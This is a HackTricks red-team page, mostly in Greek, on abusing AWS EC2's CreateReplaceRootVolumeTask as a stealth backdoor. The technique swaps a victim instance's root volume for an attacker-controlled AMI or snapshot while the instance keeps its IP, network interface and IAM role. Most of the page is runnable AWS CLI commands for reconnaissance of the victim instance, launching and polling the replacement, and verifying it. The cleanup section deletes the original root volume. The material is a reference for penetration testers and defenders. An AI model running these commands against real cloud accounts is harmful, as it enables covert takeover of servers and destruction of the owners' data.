AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Κατάχρηση του ec2:CreateReplaceRootVolumeTask για να αντικατασταθεί ο root EBS δίσκος μιας τρέχουσας instance με έναν που επαναφέρεται από AMI ή snapshot υπό έλεγχο του επιτιθέμενου. Η instance επανεκκινείται αυτόματα και επανέρχεται με το root filesystem που ελέγχει ο επιτιθέμενος, ενώ διατηρούνται οι ENIs, οι ιδιωτικές/δημόσιες IP, οι συνδεδεμένοι μη-root όγκοι και τα metadata της instance/IAM role.

Απαιτήσεις

  • Η στοχευόμενη instance είναι EBS-backed και τρέχει στην ίδια region.
  • Συμβατό AMI ή snapshot: ίδια αρχιτεκτονική/virtualization/boot mode (και product codes, αν υπάρχουν) με τη στοχευόμενη instance.

Προ-ελέγχοι

REGION=us-east-1
INSTANCE_ID=<victim instance>

# Ensure EBS-backed
aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text

# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)

Αντικατάσταση root από AMI (προτιμότερο)

IMAGE_ID=<attacker-controlled compatible AMI>

# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)

# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done

Εναλλακτική με χρήση ενός snapshot:

SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID

Αποδεικτικά στοιχεία / Επαλήθευση

# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)

# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"

# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text

Αναμενόμενο: ENI_ID και PRI_IP παραμένουν τα ίδια· το ID του root volume αλλάζει από $ORIG_VOL σε $NEW_VOL. Το σύστημα εκκινεί με το σύστημα αρχείων από το attacker-controlled AMI/snapshot.

Σημειώσεις

  • Η API δεν απαιτεί να σταματήσετε χειροκίνητα το instance· το EC2 οργανώνει την επανεκκίνηση.
  • Από προεπιλογή, ο αντικατασταθείς (παλιός) root EBS volume αποσυνδέεται και παραμένει στον λογαριασμό (DeleteReplacedRootVolume=false). Αυτό μπορεί να χρησιμοποιηθεί για επαναφορά ή πρέπει να διαγραφεί για να αποφευχθούν χρεώσεις.

Επαναφορά / Καθαρισμός

# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP

# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks